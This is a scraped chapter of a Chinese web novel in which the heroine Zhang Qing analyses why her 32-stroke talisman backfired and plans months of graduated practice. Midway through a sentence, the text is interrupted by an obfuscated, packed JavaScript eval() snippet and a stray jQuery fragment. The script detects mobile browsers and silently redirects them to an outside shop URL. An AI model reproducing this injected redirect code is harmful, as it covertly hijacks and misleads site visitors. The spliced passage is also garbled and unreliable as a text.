文趣网 > 都市小说 > 墨散意不尽 > 74. 三十二笔的真相
    一

    八月十五号,张清把那张烧了洞的符纸从纸箱里重新翻出来。

    不是为了重画。是为了分析。

    她把符纸平铺在桌上,用镇纸压住四角。台灯的光打在纸面上,墨迹和焦痕看得一清二楚。黑洞在符图的中央偏右位置,周围的笔画扭曲变形,有的墨迹被烧得发灰,有的还保持着原来的形状。

    她拿出笔记本,翻到空白页,在纸的正中间画了一个方框,代表符纸。然后在方框里按照记忆画出三十二笔的笔画顺序,第一笔从哪里起,到哪里收;第二笔从哪里接,往哪里走。每一笔都标了序号。

    这个工作她做了整整一个上午。

    不是因为笔画多记不住,三十二笔她画了三遍才敢下笔,结构早已烂熟于心。是因为她要回忆的不仅是笔画的位置,还有每一笔画下去时的感觉。

    笔意。

    前七笔是顺的。她在笔记本上把第一到第七笔标成绿色,她没有绿色的笔,就用铅笔轻轻涂了一层,旁边写了个"顺"字。

    第八笔开始不对了。她把第八笔标出来,旁边写:"笔意薄了。手指发麻,后脑勺开始紧。"

    第九笔。黑洞。她在笔记本上把第九笔的位置画了一个叉,旁边写:"笔意耗尽。头痛。鼻血。符图反噬。"

    第十笔到第三十二笔?没有。她只画了九笔就崩了,后面的二十三笔根本没来得及画。

    张清看着笔记本上的分析图,用手摸了摸后脑勺。

    记忆是会留在身体里的。她一回忆起第九笔的那个瞬间,后脑勺就隐隐发痛,不是真的痛,是记忆的痛,身体对那次反噬的残留反应。她揉了揉后脑勺,把那种感觉按下去。

    然后她在分析图下面写了一行字:"笔意存量:约七到八笔。三十二笔符图需求:三十二笔连续灌注。缺口:二十四笔。"

    二十四笔。

    她看着这个数字,沉默了很久。

    二

    下午她继续分析。

    不只是看笔意的总量,还要看笔意的消耗速度。

    她回忆"安"字符的画法。十四笔,每笔之间有间隙:笔尖离纸、蘸墨、重新落笔。这个间隙大约两三秒。在这两三秒里,笔意会回涌一点,不多,但够撑下一笔。

    十四笔画完,笔意从满值降到大约三成。然后休息一会儿,就能恢复。

    "通"字九笔,间隙更长一些,因为"通"字的笔画间距大,笔尖要移动更远的距离。画完之后笔意降到四五成。

    但三十二笔的符图不一样。

    张清翻开图录,找到那张三十二笔符图的原图。她数了数笔画之间的间距,大部分笔画之间几乎没有间隙,有的甚至是连笔,上一笔的收笔就是下一笔的起笔。中间只有两三处稍微留了点空隙,但也很短,不到一秒。

    这意味着画这张符图的时候,笔意几乎是纯消耗,没有回涌的机会。

    张清在笔记本上画了一条线,代表笔意随笔画的变化。线从高处开始,每画一笔下降一截。到第七笔时,线已经接近底部。第八笔,线触底。第九笔,线穿过了底部,穿过去的部分就是反噬。

    她又画了另一条线,代表"安"字符的笔意变化。这条线也是每画一笔下降一截,但每两笔之间有一个小小的回升:回涌。十四笔画完,线降到三成处,但没有触底。

    两条线放在一起对比,差别一目了然。

    "安"字符是走台阶,下一层歇一下,再下一层,再歇一下。三十二笔符图是跳悬崖,一口气往下掉,中间没有落脚点。

    张清在笔记本上写:"三十二笔符图的问题不在结构,在笔意容量。结构是对的,但容量不够。"

    下面又写:"就像一个杯子只能装一杯水。硬倒两杯进去,溢出来的水不会消失,它会冲坏杯子。"

    溢出来的就是反噬。

    她盯着自己写的这段话,想起了周伯年隐藏批注里的一句话:"精神力如肌肉,需渐进锻炼,不可一蹴而就。"

    精神力如肌肉。

    肌肉怎么练?从轻到重,从少到多,一点一点加量。不能第一天就扛两百斤,得从二十斤开始,扛稳了再加到三十斤、四十斤。

    笔意也一样。她现在的容量是七到八笔,硬画三十二笔就是"第一天扛两百斤"。不是不能到三十二笔,是现在不到时候。

    三

    张清没有立刻去画三十二笔的符图。

    她甚至没有动笔。

    她把笔记本翻到新的一页,在最上面写了三个字:"练习计划。"

    然后在下面画了一个表格。表格分四列:符图名称、笔画数、笔意消耗、当前状态。

    第一行:清字符,七笔,消耗约三成,已掌握。

    第二行:通字符,九笔,消耗约五成,已掌握。

    第三行:安字符,十四笔,消耗约七成,已掌握。

    第四行:静字符,十二笔,消耗约七成,未掌握。

    第五行:空。她犹豫了一下,写了"待定"两个字。

    这个表格她想了很多。

    前三行是她已经掌握的符图,按笔画数排列。笔意消耗从三成到七成,递增。这说明她的笔意容量至少有七成:七成够画十四笔的"安"字,但已经接近极限了。

    "静"字符是十二笔,但她一直画不好。为什么?比"安"字少两笔,按理说笔意消耗应该更少。

    张清把"静"字符的笔画结构回忆了一遍。和"安"字相比,"静"字的笔画更密集。"安"字十四笔,笔画分布在整个纸面上,间距大,有回涌的余地;"静"字十二笔,笔画挤在纸面中央,间距小,回涌的时间更短。

    "安"字笔画多两笔,但是走台阶,下一层歇一下,歇得住。"静"字笔画少两笔,但是走斜坡,一步不停,歇不了。

    所以"静"字虽然比"安"字少两笔,实际笔意消耗反而更大。不是七成,可能是八成甚至九成。

    张清在表格里把"静"字符的笔意消耗从"约七成"改成了"约八到九成",然后在状态栏写:"优先攻克。"

    她需要一个渐进的练习序列。从已经掌握的七笔"清"字开始,反复画,把笔意容量从七成练到满值。然后挑战"通"字,把九笔的消耗从五成压到三成,也就是说,用更少的笔意画同样的符图,提高效率。然后是"安"字,把十四笔的消耗从七成压到五成。

    等"安"字也练到游刃有余了,再开始攻"静"字。十二笔密集型,如果能把消耗控制在七成以内,就说明笔意容量涨了。

    之后呢?之后需要找笔画更多的符图来练。十五笔、二十笔、二十五笔,一步一步往上加,直到有一天能撑住三十二笔。

    张清在表格下面写了一个时间预估:"每级约一到两个月。七级到三十二笔,约半年到一年。"

    半年到一年。

    她看着这个数字,没有觉得沮丧。反而觉得踏实。

    以前她不知道自己为什么画不了三十二笔,不知道差距有多大,不知道要练多久。那种不知道才是最让人急的,不知

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17809238|210771||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    道路有多远,就总想跑快一点,跑快了就摔跤。

    现在她知道了。七笔到三十二笔,差了二十五笔的容量。按每级一到两个月的速度,半年到一年能到。路很远,但能走。

    能走就不怕远。

    她又在表格旁边加了几行注解,写得更细:"练习方法:每级反复画同一符图十遍以上,记录每遍的笔意消耗变化。若连续三遍消耗稳定下降,说明容量在增长,可进入下一级。若消耗不变或上升,说明遇到瓶颈,需多练当前级别,不可强进。"

    写完之后她看了一遍,觉得还差点什么。想了想,又在最下面加了一句:"每遍画完后休息至少半个时辰,不可连续画。精神力耗尽后强画,有害无益。"

    这条规则是拿命换来的,上次画三十二笔符图时她就是精神力不够还硬撑,结果反噬。后脑勺的痛感她到现在还记得,不是皮肉的痛,是骨头里面的痛,从枕骨一直钻到太阳穴。

    四

    傍晚的时候,张清把笔记本合上,走到窗边。

    厂区的烟囱在远处冒着白烟,白烟升到半空就散了,和云混在一起分不清彼此。厂区门口的传达室亮着灯,老赵头坐在门口摇蒲扇,收音机搁在窗台上,放的是刘兰芳的评书。

    张清看了一会儿,回到书桌前。

    她把那张烧了洞的符纸拿起来,看了最后一眼。黑洞的边缘还是那么整齐,黑色的焦痕在台灯下泛着一点暗光。

    她把符纸折好,夹进图录里三十二笔符图的那一页。不是扔掉,是留着。留个教训。纸上那个黑洞摸上去有一圈硬硬的棱,是纸张碳化后的触感,干燥、粗糙,和旁边柔软的纸面截然不同。

    然后她翻开笔记本,在练习计划那一页的最下面,写了一句话。

    不是写给自己的。是写给师父的。虽然师父看不到了。

    "师父,我想明白了。三十二笔不是现在画的。等我准备好了再画。不急。"

    写完之后她又想了想,把"不急"两个字划掉了。

    不是因为不急不对。是因为"不急"还不够。

    周伯年说过的话在她脑子里响起来,不是某一句具体的话,是很多句话叠在一起的意思。写字要稳。不要冒进。急不得。心要定。

    心要定。

    第一层是"写字要稳":手不能抖,笔不能歪。第二层是"不要冒进":不能跳级,不能贪多。第三层呢?

    第三层是"定了就不动摇"。

    路很远,半年到一年。中间可能会遇到瓶颈,可能会怀疑自己,可能会看到别人走得更快而心生焦躁。但心定了就不动摇。定了就是定了,不是"暂时不急",是"想清楚了,就这么走"。

    张清在"不急"的位置重新写了三个字:"心定了。"

    写完之后她把笔记本放在桌上,摊开着,让那三个字晾干。墨迹在台灯下慢慢从亮变暗,渗进纸纤维里,变成永久的痕迹。

    她拿起笔,铺开一张黄纸。

    不画三十二笔。画"清"字。七笔,最简单的,最基础的。从第一笔开始,一笔一笔地画。每一笔都全神贯注,把笔意灌注进去,不多也不少。

    第一笔。起笔,行笔,收笔。笔意从指尖涌出,顺着笔杆流到笔尖,渗进纸里。纸面微微发热。

    第二笔。

    第三笔。

    窗外天色暗尽。台灯的光圈里,一个少女低着头,一笔一笔地画。不急,不躁,不慌。从最简单的地方开始,一笔一笔地磨。

    磨出来的东西才扎实。